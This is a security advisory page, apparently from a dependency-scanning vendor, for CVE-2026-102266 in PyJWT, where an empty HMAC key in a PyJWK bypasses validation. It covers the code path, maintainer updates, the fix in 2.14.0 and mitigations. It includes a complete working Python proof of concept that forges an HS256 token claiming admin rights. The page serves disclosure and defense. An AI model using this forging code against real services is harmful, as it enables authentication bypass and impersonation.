Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-102266 — pyjwt

HIGHFix: jpadilla/pyjwt@f91ed44

CVE-2026-102266 is a high-severity (CVSS 7.4) CWE-347 vulnerability in pyjwt. A fix is available for pyjwt — see the affected versions and patch details below.

PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation

Also known asGHSA-9j54-fg26-wv3rPYSEC-2026-4143
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-102266.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs6th percentile — riskier than 6% of all scored CVEsHighest risk
0.00%0.22%0.45%0.68%0.2%0.2%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-102266 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,189 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍pyjwt

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.

An oct JWK containing an empty Base64URL key value:

{"kty":"oct","k":""}

is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.prepare_key. With the default enforce_minimum_key_length=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.

An attacker can independently calculate HMAC-SHA256(b"", signing_input) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.

The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.

Details

The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.

Raw empty HMAC keys are rejected

[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.

As a result, an empty raw key is rejected in PyJWT 2.13.0:

jwt.decode(token, b"", algorithms=["HS256"])

with InvalidKeyError.

Empty oct JWKs decode to the same key but are accepted

[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.

For:

{
    "kty": "oct",
    "k": ""
}

the empty Base64URL value is decoded to:

b""

and returned without an emptiness check.

[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in self.key.

The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.

PyJWK verification bypasses the raw-key validation

[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for PyJWK objects.

When a PyJWK is supplied, verification uses its already-decoded key directly:

prepared_key = key.key

The value is not passed through:

alg_obj.prepare_key(key.key)

so the empty-key check in HMACAlgorithm.prepare_key is never reached.

The minimum HMAC key-length check does not reject the key under the default configuration. With enforce_minimum_key_length=False, PyJWT emits a warning and continues signature verification.

The verifier therefore receives:

b""

as the HS256 key.

This creates the following difference for identical cryptographic key material:

raw b""
    -> HMACAlgorithm.prepare_key
    -> InvalidKeyError

{"kty":"oct","k":""}
    -> HMACAlgorithm.from_jwk
    -> b""
    -> PyJWK.key
    -> PyJWS._verify_signature
    -> HMAC verification with b""
    -> accepted

Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.

This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.

The issue was reproduced against PyJWT 2.13.0 and commit:

7144e4534c34810f4525dc4578a32addd8212cff

which was the tip of the public master branch at the time of testing.

PoC

The following PoC reproduces the issue on PyJWT 2.13.0.

It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.

Install PyJWT 2.13.0:

python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"

Save the following as poc.py:

import base64
import hashlib
import hmac
import json
import time
import warnings

import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError


def b64u(value: bytes) -> bytes:
    return base64.urlsafe_b64encode(value).rstrip(b"=")


now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
    json.dumps(
        {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
        separators=(",", ":"),
    ).encode()
)
signing_input = header + b"." + payload
forged = (
    signing_input
    + b"."
    + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()

jwk = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "",
                "kid": "active",
                "alg": "HS256",
                "use": "sig",
            }
        ]
    }
)["active"]

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    claims = jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"require": ["exp"]},
    )

assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)

try:
    jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
    print("CONTROL raw empty key: rejected")
else:
    raise AssertionError("raw empty key was accepted")

try:
    jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"enforce_minimum_key_length": True},
    )
except InvalidKeyError:
    print("CONTROL strict PyJWK: rejected")
else:
    raise AssertionError("strict PyJWK was accepted")

real_key = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "cmVhbC1zZWNyZXQ",
                "kid": "active",
                "alg": "HS256",
            }
        ]
    }
)["active"]

try:
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
    print("CONTROL non-empty PyJWK: rejected")
else:
    raise AssertionError("non-empty PyJWK accepted an empty-key forgery")

Run:

python poc.py

Observed output:

VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>}
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected

The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.

The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.

The second control enables enforce_minimum_key_length, which also rejects the empty PyJWK.

The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.

I also reproduced the result through the following verification paths:

jwt.decode(token, PyJWK, algorithms=["HS256"])
jwt.decode(token, PyJWK)
jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"])
PyJWS().decode(token, PyJWK, algorithms=["HS256"])

All accepted an HS256 token whose signature was generated using the zero-length HMAC key.

As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.prepare_key with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached prepare_key and rejected the empty key.

Impact

This is an authentication bypass caused by inconsistent validation of empty HMAC keys.

Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.

For example, an application could and produces:

{
    "kty": "oct",
    "k": "",
    "kid": "active",
    "alg": "HS256"
}

when the expected Base64URL secret value is missing.

Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.

The attacker can choose arbitrary claims such as:

{
    "sub": "attacker",
    "admin": true,
    "exp": 1787100000
}

and produce a signature that PyJWT accepts as valid.

Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.

Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.

The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Maintainer update — 2026-09-09

We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.prepare_key(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.

This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.

The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's prepare_key() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.

The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.

The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpyjwt≥ 2.13.0&&< 2.14.02.14.0pip install --upgrade 'pyjwt==2.14.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyjwt, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pyjwt to 2.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-102266 is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Frequently Asked Questions

### Summary A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated. PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`. An `oct` JWK containing an empty Base64URL key value: ```json {"kty":"oct","k":""} ``` is decoded to `b""`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-ke
O3 Security · Impact-Aware SCA

Is CVE-2026-102266 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-102266: pyjwt Auth Bypass — Fixed in 2.14.0